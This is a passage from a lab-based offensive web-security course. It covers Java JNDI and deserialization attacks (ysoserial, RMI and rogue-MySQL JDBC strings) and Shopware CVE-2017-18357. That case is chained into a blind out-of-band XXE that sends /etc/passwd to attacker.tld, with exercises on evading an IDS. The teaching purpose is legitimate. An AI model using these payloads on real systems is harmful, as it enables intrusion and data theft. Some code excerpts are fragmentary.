file to the /tmp directory) then you can use the ./bin/open-web-container script in the bin directory:
student@target:~/module-2$ ./bin/open-web-container
root@71a79c0f7b36:/#
5.5.4. Mitigation
On newer versions of Java (after the patch of CVE-2018-3149) attackers could no longer perform remote class
loading via LDAP or RMI.
However, an attacker can get around this via deserialization of untrusted data attacks, which have been very
popular over the last few years. The idea is that an attacker trigger the distributed garbage collector (DGC)
remotely with a provided object. When garbage collection is triggered, (typically on a socket close) the
remotely supplied Object is deserialized.
As mentioned, this module uses two different Java versions. The second version that we will use is java
8u201. This version is vulnerable to the deserialization attacks via the distributed garbage collector but not to
the remote class loading as presented in the previous section.
38 / 132
First, let's recap why it isn't vulnerable to remote class loading by checking out the
com.sun.naming.internal.VersionHelper12 class again:
/**
* Determines whether classes may be loaded from an arbitrary URL code base.
*/
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase"; // 1
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
); // 2
/**
* Package private.
*
* This internal method is used with Thread Context Class Loader (TCCL),
* please don't expose this method as public.
*/
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) { // 3
ClassLoader parent = getContextClassLoader();
39 / 132
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
At [1] the system property com.sun.jndi.ldap.object.trustURLCodebase is set to false. Then at [2] the
code sets up the trustUrlCodebase variable which is derived from the system property at [1]. When the
public loadClass method is called, at [3] it checks that the trustURLCodebase variable is set to true, if not,
the code returns null at [4].
Java serialization is the process of converting an object into a sequence of bytes (typically binary) which can
later be stored either on disk or within a database. Java deserialization is the reverse process, a sequence of
bytes are taken and re-instantiated into the Java Runtime (JRE).
A class must implement the java.io.Serializable interface in order to serialize and deserialize the object
successfully.
In order to store and retrieve these "bytes", the java.io.Serializable interface must implement certain
important magic methods.
There are typically two magic methods for the java.io.Serializable interface that we care about. The
java.io.ObjectOutputStream.writeObject method is used when serializing an object.
For example, here is code that will serialize the Studentinfo class:
40 / 132
import java.io.*;
class Studentinfo implements Serializable
{
String name;
int sid;
static String contact;
Studentinfo(String name, int sid, String contact){
this.name = name;
this.sid = sid;
this.contact = c;
}
}
class SerializeTest
{
public static void main(String[] args)
{
try{
Studentinfo si = new Studentinfo("Steven", 1234, "+61 55 6866 4179");
// 1
FileOutputStream fos = new FileOutputStream("student.ser"); // 2
ObjectOutputStream oos = new ObjectOutputStream(fos); // 3
oos.writeObject(si); // 4
oos.close();
fos.close();
}
catch (Exception e){
e.printStackTrace();
}
}
}
We can see at [1] that the code creates a new instance of the serializable class studentinfo. Then at [2] the
code creates a new FileOutputStream instance using the file "student.ser". At [3] the code creates a new
instance of an ObjectOutputStream and finally at [4] the code uses writeObject to write serialize the
studentinfo object to disk.
import java.io.* ;
class Studentinfo implements Serializable
{
String name;
int sid;
static String contact;
Studentinfo(String name, int sid, String contact){
this.name = name;
this.sid = sid;
this.contact = contact;
}
41 / 132
}
class DeserializeTest
{
public static void main(String[] args)
{
Studentinfo si = null;
try
{
FileInputStream fis = new FileInputStream("student.ser"); // 1
ObjectInputStream ois = new ObjectInputStream(fis); // 2
si = (Studentinfo)ois.readObject(); // 3
}
catch (Exception e)
{
e.printStackTrace();
}
System.out.println(si.name);
System.out.println(si.sid);
System.out.println(si.contact);
}
}
At [1] the code creates a new FileInputStream from the "student.ser" file. Then at [2] the code creates a new
ObjectInputStream based on the FileInputStream instance. Then, finally at [3] the readObject is called
on the ObjectInputStream instance.
In real world applications, you may find code similar to the below:
Here at [1] the code creates a new ObjectInputStream instance from the attacker supplied POST request.
Then at [2] the code calls readObject on the input resulting in arbitrary deserialization. Note that the casting
to a byte array doesn't matter here because the readObject is already triggered.
In 2015 Chris Frohoff released a presentation called Marshalling Pickles, and with that, released a tool called
Ysoserial. Ysoserial generates gadget chains in popular java libraries used by applications. An example of the
tools usage is below:
42 / 132
student@target:~/attack/ysoserial$ java -jar target/ysoserial-0.0.6-SNAPSHOT-
all.jar URLDNS http://vuln.srcincite.io | xxd
00000000: aced 0005 7372 0011 6a61 7661 2e75 7469 ....sr..java.uti
00000010: 6c2e 4861 7368 4d61 7005 07da c1c3 1660 l.HashMap......`
00000020: d103 0002 4600 0a6c 6f61 6446 6163 746f ....F..loadFacto
...
Anyone can contribute to Ysoserial by developing their own gadget chains. We will dive into gadget chains in
a later module and discover how they are constructed so that you can also develop your own gadget chain for
a specific target.
We will now proceed to explore how the exploitation can take place. First, modify your logback.xml file to
contain the following:
<configuration><insertFromJNDI env-entry-name="rmi://[attacker.tld]:1099/jndi"
as="appName"/></configuration>
Note here that we are now using the RMI protocol and setting the port to 1099. Now we setup our HTTP
Server:
43 / 132
5.6.7. Exercise – Find the Gadget
Look through the ~/module-2 directory and attempt to discover any third party libraries that may contain
known java gadget chains that are within Ysoserial available payloads.
Next, attempt to exploit the JNDI injection vulnerability using the process described above of Java
deserialization. To start, make sure you patch your environment first so that it's running Java 8u201:
student@target:~/module-2$ ./bin/patch
Stopping module-2-web ... done
Removing module-2-web ... done
Removing network module-2_default
(+) patching...
Creating network "module-2_default" with the default driver
Creating module-2-web ... done
Once you have a working gadget chain, use your newly learnt debugging skills and set a breakpoint
somewhere in the code, in order to discover the location of the readObject that's triggered from the
Distributed Garbage Collector. Note the location and show your instructor!
Often, applications will restrict which classes can be deserialized. Take for example this function from Inductive
Automation's Ignition software used at Pwn2Own Miami 2020.
44 / 132
/* 955 */ ois = null;
/* 956 */ Object obj = null;
/* */ try {
/* 958 */ bais = new ByteArrayInputStream(objBytes);
/* 959 */ if (classWhitelist != null) {
/* 960 */ ois = new SaferObjectInputStream(bais, classWhitelist);
/* */ } else {
/* 962 */ ois = new ObjectInputStream(bais);
/* */ }
/* 964 */ obj = ois.readObject(); // cannot be exploited, or can it?
/* */ } finally {
/* */ try {
/* 967 */ bais.close();
/* 968 */ } catch (Exception exception) {}
/* */
/* */ try {
/* 971 */ ois.close();
/* 972 */ } catch (Exception exception) {}
/* */ }
/* */
/* */
/* 976 */ return obj;
/* */ }
The code above uses SaferObjectInputStream which is their own custom wrapper for ObjectInputStream
that added an allow list of classes that performed look-ahead checks. It's unlikely that the allow list will permit
classes with known gadget chains from public tools such as Ysoserial.
How can this be bypassed? One direct way is to use what is known as a bypass gadget, that is, a class that
implements readObject or readExternal and is part of that allow list and yet still can perform dangerous
actions.
An example might be that if a trusted class implements does a JNDI lookup such as new
InitialContext().lookup or a DriverManager.getConnection call then the attacker is likely able to
control parameters to these API's and trigger another readObject that is unrestricted.
For example vulnerable API would allow an attacker to control the complete connection string, much like in
the JNDI Injection attack might look like so:
DriverManager.getConnection("jdbc:mysql://[attacker.tld]:3306/mysql?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&PNAME
_autoDeserialize=true")
A request can be made to the attackers MySQL Server which can deliver an Object to be deserialized. This
research was presented at Black Hat by PegasusTeam.
There is no mitigation to prevent untrusted deserialization of data via the Distributed Garbage Collector,
although, application specific deserialization defense techniques do exist which we will explore in a later
module.
45 / 132
5.6.10. Exercise - MySQL Trickery
For this exercise, you will need to run module-2 outside of the docker container. To do so, run the following
command ./run -new -debug from the build-standalone directory:
This will also, setup a debug stub on port 8000, that will allow you to connect to it:
Using the JDBC technique, (ab)use the logback.xml once again to trigger a MySQL connection request to
deserialize an arbitrary object and gain remote code execution.
A sample MySQL server script has been provided by LandGrey called rogue-mysql-server.py but it may
need some modifications! As documented in the Black Hat paper, the getObject method is (ab)used for
exploitation, however, can you find another vulnerable method that calls readObject and that can be
(ab)used without query interceptors?
Please note: You will need to add a dependency to the pom.xml file before building!
Objects that do not implement one of these interfaces cannot be serialized. The difference being is that if a
class implements Externalizable they must implement the readExternal and writeExternal methods
whereas in contrast, the Serializable interface means the object does not require the opt-in methods
readObject, writeObject, readResolve and writeReplace.
Those classes that implement Externalizable are what is known as "custom serialization" classes. This is
where the developer can define the readExternal and writeExternal and choose which members to be
46 / 132
serialized or not.
This significantly speeds up serialization and deserialization since Externalizable objects become smaller.
Additionally, there are a lot of extra checks during runtime whether a Serializable object implements one
of the opt-in methods, which makes the whole process quite slow.
Tip: A readObject() call can invoke readExternal() so gadget chains starting from readExternal() are
valid!
if(shouldSavePassword){
out.writeObject(userPassword);
}
out.writeObject(age);
}
if(shouldSavePassword){
userPassword = (char[]) in.readObject();
}
age = in.readInt();
}
}
47 / 132
In 2017 Markus Wulftange released a blog post titled Another Malicious Format explaining that it's possible to
jump from readExternal to readObject using RMI classes which is how he exploited CVE-2017-3066.
This means that the DGC will then call the dirty method which downloads a remote object from the
attackers RMI server, thus the attacker can supply an object of any type which is later deserialized by
java.io.ObjectInputStream.readObject. These classes are:
Objects such as ActivatableRef that call readObject without creating a new ObjectInputStream will fail
for CVE-2017-3066 because the code calls readExternal(this); using the Amf3Input object instance. The
this variable is an instance of Amf3Input which already has a readObject defined (overwriting the
java.io.ObjectInputStream.readObject method).
if ((ref & 1) == 0)
return getObjectReference(ref >> 1);
TraitsInfo ti = readTraits(ref);
String className = ti.getClassName();
boolean externalizable = ti.isExternalizable();
if (externalizable)
{
48 / 132
readExternalizable(className, object); // calls readExternal
}
Now the code calls readExternal on the class specified by the attacker using the this instance:
if (isDebug)
trace.startExternalizableObject(className, objectTable.size() -
1);
((Externalizable)object).readExternal(this);
}
else
{
//Class '{className}' must implement java.io.Externalizable to receive
client IExternalizable instances.
SerializationException ex = new SerializationException();
ex.setMessage(10305, new Object[] {object.getClass().getName()});
throw ex;
}
}
1. AmfMessageDeserializer.readMessage
2. AmfMessageDeserializer.readHeader/readBody
3. AmfMessageDeserializer.readObject
4. Amf0Input.readObject
5. Amf0Input.readObjectValue
6. Amf3Input.readObject
7. Amf3Input.readObjectValue
8. Amf3Input.readScriptObject
9. Amf3Input.readExternalizable
10. Externalizable.readExternal
Another gadget that was discovered by Matthias Kaiser was the Apache Axis
org.apache.axis2.util.MetaDataEntry class. The readExternal in this class allowed for the creation of a
new instance of SafeObjectInputStream (sub-classing and overwriting readObject). Ironically, the
overwritten readObject was implemented dangerously and creates an instance of
ObjectInputStreamWithCL (sub-classing ObjectInputStream) and finally calls the native readObject.
Using source code auditing only, access the code at https://github.com/wso2/wso2-axis2/ and find another
gadget that will jump from readExternal to readObject.
If you would like to test this against a vulnerable version, then you can use vulhub's image docker-
compose.yml:
version: '3'
services:
coldfusion:
image: vulhub/coldfusion:11u3
ports:
- "8500:8500"
The docker-compose up will download the pre-built image and run a new container. Please keep in mind
there are no debugging options with this image, you will need to rebuild it if you want this option.
After a few minutes wait and visit http://target:8500/CFIDE/administrator/index.cfm with password vulhub,
you can install the Adobe ColdFusion successfully.
Identifiers:
CVE-2017-18357
CVE-2019-12799 (patch bypass)
Please note: The first time you start the module, it will pull the images from the source incite private repository.
Check the status with ./bin/checkstatus to verify it's ready for testing. At this point you should be able to
access the web interface from the attackers machine including the admin interface:
For the complete analysis, we will require the target application to be debugged. If you have experience with
PHP then you are welcome to use print statements however we do encourage you to use the following debug
environment.
Provided in your module-3 directory, you will see a debug.code-workspace file. Open this visual studio code
workspace file by double clicking it. You should have a breakpoint set in the
shopware/engine/Shopware/Controllers/Frontend/Index.php on line 43.
You can test that the default breakpoint works by pressing F5 to start the listener. Ensure that you use the
correct debug configuration
Once you are debugging, access the index page at http://target:8080/ with a GET request and you should
be hitting your breakpoint.
51 / 132
First up, we are going to review CVE-2017-18357. Auditing of the source code will use a default path of
/var/www/html.
$sorting = $this->Request()->getParam('sort'); // 1
At [1] the sort parameter is attacker controlled and is then passed to unserialize method of the
Shopware\Components\ProductStream\Repository class at [2]. This is not to be confused with the
standard unserialize method. Then in the
engine/Shopware/Components/ProductStream/Repository.php script we can see the unserialize
definition for the Shopware\Components\ProductStream\Repository class:
/**
* @param array $serializedConditions
*
* @return object[]
*/
public function unserialize($serializedConditions)
{
return $this->reflector->unserialize($serializedConditions, 'Serialization
error in Product stream'); // 3
}
52 / 132
$classes = [];
try {
$classes[] = $this->reflector-
>createInstanceFromNamedArguments($className, $arguments); // 4
} catch (\Exception $e) {
$this->logger->critical($errorSource . ': ' . $e->getMessage());
}
}
return $classes;
}
At [4] the code calls the createInstanceFromNamedArguments method with the attacker controlled
$className and $arguments from the serialized string. This method is defined in the
engine/Shopware/Components/ReflectionHelper class:
$folders = Shopware()->Container()-
>getParameter('shopware.plugin_directories');
$folders[] = Shopware()->DocPath('engine_Shopware');
$folders[] = Shopware()->DocPath('vendor_shopware_shopware');
if ($secure) {
$this->verifyClass( // 5
$reflectionClass,
$docPath,
$directories
);
}
if (!$reflectionClass->getConstructor()) {
return $reflectionClass->newInstance();
}
53 / 132
$constructorParams = $reflectionClass->getConstructor()->getParameters();
$newParams = [];
foreach ($constructorParams as $constructorParam) {
$paramName = $constructorParam->getName();
if (!isset($arguments[$paramName])) {
if (!$constructorParam->isOptional()) {
throw new \RuntimeException(sprintf('Required constructor
parameter missing: "$%s".', $paramName));
}
$newParams[] = $constructorParam->getDefaultValue();
continue;
}
$newParams[] = $arguments[$paramName];
}
return $reflectionClass->newInstanceArgs($newParams); // 6
}
At [5] is the patch for this bug but (un)fortunately it's possible for an attacker to bypass it and reach [6] where
an arbitrary class can be instantiated!
The eXtensible Markup Language (XML) is a markup language designed to store and transport data in a
format that is both human and machine-readable.
An application that relies on data stored in the XML format will eventually be processed by an XML parser.
This component is called from the application when XML data needs to be processed and is responsible for
the analysis of the markup code. Once processed, this information is passed back to the application for further
processing or display.
Similar to any other application component that parses user input, XML parsers can suffer from different types
of vulnerabilities originating from malformed input data.
XML parsing vulnerabilities can, at times, provide powerful primitives to an attacker. These can eventually be
chained together to achieve devastating effects such as:
Information Disclosure
Server-Side Request Forgery (SSRF)
Denial of Service
Remote Command Injection (often indirectly through SSRF)
Memory Corruption
Entity data typically contains valid XML so that a parser can properly parse the provided information when it is
referenced. Yet, entities can also contain any type of data.
Generally speaking, there are three types of XML entities: internal, external and parameter.
Internal Entities
Internal entities are locally defined within the Document Type Definition (DTD). Their general format looks like
this:
Note that the entity tag does not have any XML closing tags and is using a special declaration containing an
exclamation mark. Also note that the entity value itself is using valid XML.
External Entities
External entities by definition are used when referencing data that is not defined locally. As such, a critical
component of the external entity definition is the URI from which the external data will be retrieved.
External entities can be split up into two groups, namely public and private. The syntax for a private entity is:
The critical part to accentuate here is the use of the SYSTEM keyword, indicating that it is a private external
entity for use by a single user or perhaps a group of users. In other words, this type of entity is not intended
for wide-spread use.
In contrast, public external entities are intended for a much wider audience. The syntax for a public external
entity is:
55 / 132
<!ENTITY name PUBLIC "public_id" "URI">
In this case, the entity uses the PUBLIC keyword, indicating that it's a public external entity. Additionally, public
external entities may also specify a public_id. This value is used by XML preprocessors to generate alternate
URI's for the externally parsed entity and assumes the form of an XPATH expression.
Parameter Entities
Parameter entities exist solely within a DTD, but are otherwise very similar to any other entity. Their definition
syntax differs only by the inclusion of the % prefix:
As we have seen in the previous section, external entities can often access local or remote content via
declared system identifiers. An XML External Entity (XXE) injection is a specific type of attack against XML
parsers. In a typical XXE injection, the attacker forces the XML parser to process one or more external entities
to disclose confidential information not normally accessible by the application.
This means the main prerequisite for the attack is the ability to feed (injection point) the target XML
processor, with a crafted malicious XML request containing system identifiers that point to sensitive data.
There are various techniques that further allow an attacker to exfiltrate data (including binary content) using
XXE attacks. Furthermore, depending on the available protocol wrappers, it may be possible to leverage this
attack for full command injection. Ultimately, this could lead to remote code execution.
56 / 132
Once logged in, we will need to access the SHOPWAREBACKEND session cookie.
Since the application uses the HttpOnly flag, we will need to extract the cookie from a network request by
accessing the developer tools in the browser. Alternatively you can intercept the request using a web proxy.
57 / 132
To begin with, we will need to generate a Cross-Site Request Forgery (CSRF) token with our
SHOPWAREBACKEND session id:
To begin with, we will need to generate a Cross-Site Request Forgery (CSRF) token with our
SHOPWAREBACKEND session id:
HTTP/1.1 200 OK
Date: Fri, 07 May 2021 20:35:31 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.15
Set-Cookie: SHOPWAREBACKEND=hd3loipaud5dj4mksts2l2ssj1; path=/backend/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Csrf-Token: s2mwtrAQE4D6wofVRArlVKDGgzQQdQ
Cache-Control: private
Content-Length: 2
Connection: close
Content-Type: application/json
We have developed a script to automatically generate a session id and CSRF value which can be found in
Appendix A or on your target system at /home/student/FSWA/code/module-3/1.py.
58 / 132
Once we have an authenticated session and a CSRF token we can go ahead and trigger the vulnerability by
accessing the loadPreview endpoint.
At the moment the sort parameter JSON object is set to nothing, therefore we are crafting an empty object
in PHP.
In order for us to exploit this issue, we are going to have to find an interesting class that we can abuse. The
magic method we want to target is the __construct method.
For example, let's suppose we had a class defined in the runtime as:
<?php
class Foo {
public function __construct($name) {
eval($name);
}
}
?>
59 / 132
Then we could essentially craft an JSON object like so and place it into the sort parameter:
{
"Foo":{
"name" : "system('id');"
}
}
This would allow for remote code execution since the attacker can craft a PHP object from a JSON object
controlling both the class name and parameters.
{
"<CLASS NAME>" : <PARAMETERS>
}
Where parameters is another JSON object containing the __construct property name and value parsing such
as:
{
"<PROPERTY1 NAME>" : "some value",
"<PROPERTY2 NAME>" : 123,
"<PROPERTY3 NAME>" : false,
}
Note in the above example, it's possible to craft properties supplying boolean and integer values, as there are
no limitations on the variable types.
One of the interesting objects that we can target is the SimpleXMLElement class as noted by Karim
Ouerghemmi. This class can be constructed like so:
$s = new SimpleXMLElement();
However, since this vulnerability allows us to construct an object with arbitrary parameters, we have a high
degree of control and can trigger an external entity dereference (XXE) with this object creation.
The PHP code presented above will trigger XML parsing from an attacker supplied URI which can contain
external entities that will be dereferenced. Essentially, we can craft a JSON payload for the sort parameter that
will trigger an XXE!
Note that during the object creation, our goal is to trigger a Server-Side Request Forgery (SSRF) to an attacker
controlled URI.
This is because we are dealing with a blind case of XXE. Here is a sample response from the server when we
try and use a private external entity to leak the /etc/passwd file:
The response throws a 500 internal server error with a zero sized content length as a response. This indicates
that we cannot read back the response from the XML parsing, and as such, cannot read files directly. Even
errors are not displayed to us so we cannot (ab)use local DTD attacks.
Since we are dealing with a blind XXE primitive, we need to leverage the power of the PHP's wrappers.
PHP exposes various default wrappers for a number of protocols in order to facilitate ease-of-use via PHP
filesystem functions. More importantly, from an attackers perspective, PHP wrappers provide us with great
flexibility when attempting to exploit various types of vulnerabilities, including XXE.
php://
61 / 132
Allows us to access various IO streams (stdout, stderr and stdin) for file descriptors, memory, temporary
files, input/output buffers and filters.
file://
http://
data://
Compliant with RFC 2397 and allows data to be specified and used for an IO stream. Powerful in some
contexts.
ftp://
Allows the user to make an FTP request to read or write data into an IO stream.
phar://
Used to access compressed archive files such as .phar or .zip. The user can access content inside of the
compressed file, which makes it useful for bypassing weak antivirus or web filtering software.
This is wrapper is quite special as we will see, it's possible to deserialize data under PHP < 8.
Additionally to the above high level wrappers, there are several powerful iostreams that can be used with the
php:// wrapper:
php://stdin
php://stdout
php://stderr
php://fd
php://memory
php://temp
php://output
php://input
At this point you are hopefully starting to understand why PHP wrappers are considered a useful tool when
exploiting vulnerabilities relating to file operations. Due to their wide coverage of various protocols, they offer
us as attackers great flexibility.
In our case, the SimpleXMLElement instance that is created from our object instantiation is not echoed back
to the user. As a result, we can only leak information from the filesystem using what is known as out-of-band
communication.
Note that in this case we have to conduct a two-stage attack. The reason for this lies primarily in the XML
specification regarding element attributes and references to external entities. By definition, XML elements
62 / 132
have a "well-formed constraint", which states that the attribute values cannot contain either direct or indirect
entities references.
This forces us to write the DTD in a separate file. A Black Hat briefings paper by Timur Yunusov and Alexey
Osipov describes these constraints and bypasses in greater detail.
Based on what we now know about XML processing rules, we can create the following payload, poc.xml as
our initial payload.
When the sp parameter entity gets referenced, it will trigger the parsing of the two entities defined in
poc.dtd. Next, the param1 entity gets referenced, which defines a complete entity in itself called exfil. The
data entity is also defined, which fetches the file and encodes it to base64. Finally the exfil entity is called in
poc.xml to send a HTTP request to the attacker's VM with the base64 data as a GET parameter.
We can see the attack workflow by instantiating a SimpleXMLElement object and loading our XML payload
from our attacking VM.
GET /backend/ProductStream/loadPreview?sort={"SimpleXMLElement":
{"data":"http://attacker.tld:9090/poc.xml","options":2,"data_is_url":true,"ns":"",
"is_prefix":0}} HTTP/1.1
Host: target:8080
X-CSRF-Token: 4S7u43lsfeHj8kr90OdVVdPfXcdH1E
Content-Length: 0
Cookie: SHOPWAREBACKEND=m2jmb8jdfmgr44avim1meus7aj
Connection: close
63 / 132
We have now demonstrated how to exfiltrate data from our crafted XXE attack using an out-of-band channel.
6.7.3. Questions
1. Which wrapper would be required to read contents of a ZIP file on the remote system?
2. What is the libxml constant used for the second argument to the constructor?
3. Suppose an XXE vulnerability had LIBXML_NONET option enabled, how could you bypass it to perform
an out-of-band XXE attack?
Replay the attack as described above and steal the /etc/passwd file from the remote system.
Suppose that a network admin is filtering HTTP outbound traffic on all ports, how can you exploit this
vulnerability?
Review the different file access wrappers and replay the attack to use an alternate protocol to exploit the
behavior and steal the /etc/passwd file.
64 / 132
6.7.6. Exercise - Pure Parameter Entities
The Security Operations Center (SOC) for a large bank just implemented an Intrusion Detection System (IDS)
that will block XXE payloads that use any entities in XML tags and suspiciously long CWD requests.
Therefore, the following payloads will be detected:
<r>&exfil;</r>
Change the exfil entity to be a parameter entity and remove the <r></r> tag completely in the poc.xml file:
In addition, change the poc.dtd file to specify the exfil entity to be a parameter entity and place the data
entity in a different part of the FTP request to not trigger the IDS.
Please feel free to be creative here! Prizes awarded to those that are able to use your own socket server!
Whilst this technique will not work for a SimpleXMLElement instantiated object, the author felt that this
technique needed to be included for completeness sake.
In some cases, an out-of-band protocol attack is not possible or feasible without detection of data exfiltration.
Other times, outgoing connections are outright blocked.
In late 2018 an interesting out-of-band XXE technique was discovered which could leak files where outgoing
network requests were not required.
The XML specification allows XML markup to use an external DTD that stores a parameter entity reference
inside a parameter entity definition. Most parsers follow the specification.
However, what happens if we just put an external DTD content directly in the DOCTYPE?
65 / 132
<?xml version="1.0" ?>
<!DOCTYPE request [
<!ENTITY % data SYSTEM "file:///C:\Windows\win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'file:///nonexistent/%data;'>">
%param1;
%exfil;
]>
This is because it's prohibited to have a parameter entity reference inside a defined parameter entity within an
internal DTD.
To use external DTD syntax in the internal DTD subset, you can use a local DTD file on the remote host and
redefine a parameter entity reference inside of it:
This works because the XML parser, parsers the XML in the following order:
Since this is an error based injection attack, it will not work all the time. In cases where an error message is
caught/handled or not displayed to the attacker, then no error message will appear.
If the external entity reference is inside of another DTD markup, then those tags will need to be closed and
adjusted correctly for the XML parser to parse the DTD correctly.
For example:
In this case, we would need to overwrite the CIMName entity with the closing character > and an opening DTD
markup such as <!ATTLIST NAMESPACE:
In fact, skipping the opening markup is possible in most parsers because our injected DTD has already
finished parsing at that point.
If you haven't done so already, please start module-3 using the ./bin/startd command.
In this exercise, your goal is to perform an xxe and leak files via the DTD injection / entity overwrite technique
to trigger an error in the XML parser(s) using each of the DTD files:
1. /var/www/html/si-1.dtd
2. /var/www/html/si-2.dtd
67 / 132
6.7.9. The PHP way
Instead of using a local DTD on the filesystem, what if we use php wrappers!
We can do better than that! Let's just fake the complete external DTD!
68 / 132
V4aXN0ZW50LyVmaWxlOyc+Ij4KJWV2YWw7CiVlcnJvcjs=">
%fake_dtd;
]>
However, due to some PHP parser heuristics, sometimes we will get thrown an error like this:
As it turns out, there are checks in the xmlParserEntityCheck function in parser.c file to ensure that the
expanded entity is not 10 times greater than the document itself.
So to overcome this hurdle, we can just fake a large DTD! We can use a large string like: python3 -c
"print('A' * 250)"
69 / 132
(Un)fortunately, the patch for this vulnerability is insufficient, so let's break down the patch in the
createInstanceFromNamedArguments method:
$folders = Shopware()->Container()-
>getParameter('shopware.plugin_directories');
$folders[] = Shopware()->DocPath('engine_Shopware');
$folders[] = Shopware()->DocPath('vendor_shopware_shopware');
if ($secure) {
$this->verifyClass( // 4
$reflectionClass,
$docPath,
$directories
);
}
The first thing we notice is that at [1] a ReflectionClass instance is created from our specified class. Then at
[2] the docPath variable is set to /var/www/html/. At [3] the directories variable is set to contain the
following values:
1. engine/Shopware/Plugins/Default/
2. engine/Shopware/Plugins/Local/
3. engine/Shopware/Plugins/Community/
4. custom/plugins/
5. custom/project/
6. engine/Shopware/
7. vendor/shopware/shopware/
This means that when we reach [4], the code will validate that the supplied class is within the path of the
directory array. Surprisingly, this provides attackers a lot of choice for exploitation. Since we can reach
arbitrary __construct magic methods we can search for them and look for a pivot.
70 / 132
student@target:~/module-3/shopware$ grep -ir "__construct" engine/Shopware/
custom/plugins/ custom/project/ | wc -l
832
student@target:~/module-3/shopware$
Thus, the attacker can search through 832 classes and look for a pivot primitive in the __construct method.
However, only 549 accept parameters, and we are probably going to need a parameter or two if we are going
to exploit this issue. That's not always the case, especially when we are not trying to defeat an allow list of
available classes.
Previously, we have explored some magic methods in section 2.3.1.1 against Java based allocation and have
mentioned it a few times in this module. Let's fully explore magic methods within a PHP context. If you are
familiar with programming object oriented code, then you will soon realize that magic methods are just
overloaded methods that are exposed by the PHP runtime.
Below is the full list of available magic methods in PHP with their method definitions:
Method Details
__set(string $name, string $value) Called when setting a member variable of a class
71 / 132
Method Details
PHP assumes the method is magical if the method name begins with the double underscore __. Since magic
methods need to be called by classes outside of the defined class, they need to be set to public.
The next section will outline the most important magic methods that are used for deserialization attacks
under PHP.
6.8.1.1. __construct
new Foo("hello!\r\n");
?>
student@target:~/tests$ php construct.php
hello!
__construct is executed when a new instance of an object is created. In this example we can see that hello is
being executed in the __construct method.
6.8.1.2. __call
<?php
class Bar{
public function __call($function_name, $args) {
echo "(+) called function $function_name with args:
".implode(',',$args)."\r\n";
}
class Foo {
__call is triggered when a function call is made on an object that doesn't contain that function. In this
example, the Bar class has __call defined and does not contain the function dont_exist therefore __call
is executed when dont_exist is called.
6.8.1.3. __tostring
When an object is used in a string operation such as, being printed or concatenated with a string, it needs to
call the __tostring magic method in order to get the conversion of the object to a string.
As such, this method typically returns a value and can be a great pivot for a deserialization attack where a
__destruct call is converting an object to a string or where after an unsafe unserialize call is made, the object
is converted to a string.
73 / 132
class Bar{
public function __get($name) {
echo "(+) called __get and trying to get property: $name\r\n";
}
public function __set($name, $value) {
echo "(+) called __set and trying to set property: $name with $value\r\n";
}
}
class Foo {
The __get and __set magic methods are known as "property accessor" magic methods because they allow
for accessing properties of an object. Again, they work by accessing non-existent properties on an object.
6.8.1.5. __wakeup
unserialize("O:3:\"Foo\":1:{s:4:\"name\";s:8:\"hello!\r\n\";}");
?>
74 / 132
student@target:~/tests$ php wakeup.php
(+) in __wakeup using hello!
(+) in __destruct using hello
__wakeup is only ever triggered when deserializing a string into an object. The common way to perform this
in PHP is to use the unserialize function call. It's well known that providing untrusted input to
unserialize can have dramatic effects such as performing a deserialization attack using property oriented
programming (POP). In fact, researchers have developed specialized tools to perform such attacks with
common PHP libraries. More details will be provided on this shortly.
It's interesting to note that the __wakeup function is called before __destruct because __wakeup is
triggered upon deserialization whereas __destruct is upon object destruction. When an object is
deserialized, it's re-instantiated into the PHP runtime. Note that this is quite different from instantiation
because no __construct function call is made.
Therefore, __wakeup is often used as a defense measure against deserialization attacks and developers
typically set object properties to NULL in this function.
6.8.1.6. __destruct
new Foo("hello!\r\n");
?>
student@target:~/tests$ php destruct.php
hello!
Finally, we have __destruct. As mentioned, this function is executed when the object is destroyed after
instantiation or re-instantiation. When a PHP script finishes execution, all of the objects are destroyed no
matter what and as such their corresponding __destruct methods are called. Note the difference here, we
cannot have arguments in the __destruct method, unlike the __construct.
__destruct is typically the first magic method attackers think of when performing deserialization attacks
because it's guaranteed to be executed upon script termination and often contains dangerous code flow,
unlike the __wakeup function.
75 / 132
Just like in Java, PHP serialization is the name given to a process by which an object is converted to a format
which can then be stored in a database or on disk. PHP deserialization is the reverse process, taking data and
converting it into a PHP object in the runtime.
There are three primary differences between PHP and Java Deserialization. The first is that in PHP there are
more magic methods that can be triggered (as we have seen) and as such, an attacker has more opportunities
for exploitation in the author's opinion. The second difference is that PHP is an interpreted language, as
opposed to Java which is a compile time and type safe language. The third difference is that PHP uses a string
format for serialization, whereas Java uses a binary format.
The two main functions to perform this action in PHP are serialize and unserialize. Below is an example of
calling unserialize on a serialized string.
unserialize("O:3:\"Foo\":1:{s:4:\"name\";s:8:\"hello!\r\n\";}");
?>
student@target:~/tests$ php destruct.php
hello!
In this example, we can re-instantiate a class into the PHP runtime using the unserialize function call. Then,
later when the script finishes execution, the __destruct magic method is triggered which simply prints the
name property.
In a typical deserialization attack against a PHP application, attacker controlled data is used in an unserialize
function call. An example is listed below:
The exploitability of this issue is context dependent on the loaded classes at runtime. Sometimes there may
be no interesting gadgets or POP chain that can be constructed.
The impact can range from anything such as Cross-Site Scripting (XSS) to Remote Code Execution (RCE).
In 2017 a special type of deserialization attack was discovered by Orange Tsai known as a Phar archive
